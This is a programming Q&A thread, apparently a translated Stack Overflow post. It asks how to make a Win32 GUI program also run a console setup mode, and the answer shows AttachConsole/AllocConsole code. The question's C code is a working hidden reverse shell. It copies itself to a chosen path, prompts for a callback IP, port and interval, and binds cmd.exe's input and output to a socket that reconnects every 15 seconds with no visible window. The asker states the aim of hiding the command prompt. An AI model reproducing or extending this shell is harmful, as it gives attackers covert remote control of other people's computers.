编译为 GUI 的 Win32 GUI 应用程序需要使用 C 语言的控制台

Question

I have a program that I am creating that has two sides of it. The main execution (script.exe -setup) will open a console and ask the user multiple questions and then set the answers to variables and make adjustments to the machine based on the answers. This is a simple console application and it works fine if compiled as a Console application.

The second part of the script (script.exe -socket 192.168.1.1:9000) will start a WinMain function that then calls a socket function. The reason I put the socket function inside the WinMain is so it does not display the 'cmd.exe' that CreateProcess calls. It was flashing the command prompt so I got rid of it by using the WinMain. This only works as intended if compiled as a Win32 application, but then I am unable to run the setup side of the script.

I understand that when compiled as a console application it starts with the (int main()) function which is why it works. And when compiled as a Win32 it starts with the (WinMain()) function. However, I just need the application to start at Main as a Win32 Application.

int main(int argc, char *argv[]) {
    char filePath[150];
    char fileName[30];
    int portNum;
    char ip[16];
    char socket[23];

    if (argc == 1) {
        printf("Usage: File.exe setup OR File.exe -s IP:PORT");
        exit(0);
    } else if (strcmp(argv[1], "setup") == 0) {
        printf("Doing Setup Stuff\n");
    } else if (strcmp(argv[1], "-socket") == 0){
        strncpy(socket, argv[2], 22);
        WinMain(0,0,socket,0);
        return 0;
    } else {
        printf("Usage: File.exe setup OR File.exe -socket IP:PORT");
        exit(0);
    }

    printf("Desired File Location. Example: C:\\Test\n");
    scanf("%149s", filePath);
    CheckDirectory(filePath);

    printf("\nDesired file name. Example: test.exe\n");
    scanf("%29s", fileName);
    getchar();
    CopyNewFile(filePath, fileName, argv[0]);

    printf("\nEnter callback IP:\n");
    scanf("%15s", ip);

    printf("\nEnter callback port:\n");
    scanf("%5d", &portNum);


    printf("Enter time in seconds for each callback: ");
    scanf("%10d", &secs);

    return 0;
}

int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev, LPSTR cmdline, int show) {
    char test[50];
    strncpy(test, cmdline, 49);
    char *ip = strtok(test, ":");
    char *port = strtok(NULL, ":");
    RunSocket(ip, port);
    return 0;
}

void CopyNewFile(char *dir, char *fname, char *curName) {
char fullDir[300];
char file[60];
sprintf(file,"%s", curName);
sprintf(fullDir, "%s\\%s", dir, fname);
if (CopyFile(file, fullDir, FALSE)) {
    printf("\nCopied new file!\n");
} else {
    printf("Did not copy!");
    }
}


void CheckDirectory(char *d) {
DIR* dir = opendir(d);
char answer[2];

if (dir) {
    printf("Directory Exists!\n");
    closedir(dir);
} else if (ENOENT == errno) {
    printf("Directory does not exist. Do you want to create this directory? Y/N: ");
    scanf("%s", answer);
    if (strcmp(answer, "y") == 0) {
        if (CreateDirectory(d, NULL)) {
            printf("Created Directory!\n");
        } else {
            printf("Error Creating Directory!");
            exit(1);
        }
    } else {
        printf("Closing Script!");
        exit(1);
    }
}
}

void RunSocket(char *a, char *b) {

    while(1) {

        WSADATA wsaData;
        SOCKET Winsock;
        struct sockaddr_in hax;
        char ip_addr[16];
        STARTUPINFO ini_processo;
        PROCESS_INFORMATION processo_info;

        WSAStartup(MAKEWORD(2,2), &wsaData);
        Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);

        struct hostent *host;
        host = gethostbyname(a);
        strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));

        hax.sin_family = AF_INET;
        hax.sin_port = htons(atoi(b));
        hax.sin_addr.s_addr =inet_addr(ip_addr);

        WSAConnect(Winsock,(SOCKADDR*)&hax, sizeof(hax),NULL,NULL,NULL,NULL);

        memset(&ini_processo, 0, sizeof(ini_processo));
        ini_processo.cb=sizeof(ini_processo);
        ini_processo.dwFlags=STARTF_USESTDHANDLES;
        ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
        CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &ini_processo, &processo_info);
        Sleep(15000);
        }
}

Answer 1

它要么是 Windows 应用程序，然后WinMain是用户启动点，要么是控制台应用程序，然后main是用户启动点。您当然可以main从进行调用WinMain，或者可以为您通常从 执行的功能分配一个控制台main。

以下分配控制台并设置标准文件句柄：

#ifndef _WIN32_WINNT
# define _WIN32_WINNT   0x0501
#endif
#include <windows.h>
#include <wincon.h>
#include <stdio.h>

int GetConsole(void)
{
    if (!AttachConsole(ATTACH_PARENT_PROCESS))
        if (!AllocConsole())
            return(0);

    _fileno(stdout)= _fileno(fopen("CON", "w"));
    _fileno(stdin) = _fileno(fopen("CON", "r"));
    _fileno(stderr)= _fileno(fopen("CON", "w"));
    return(1);
}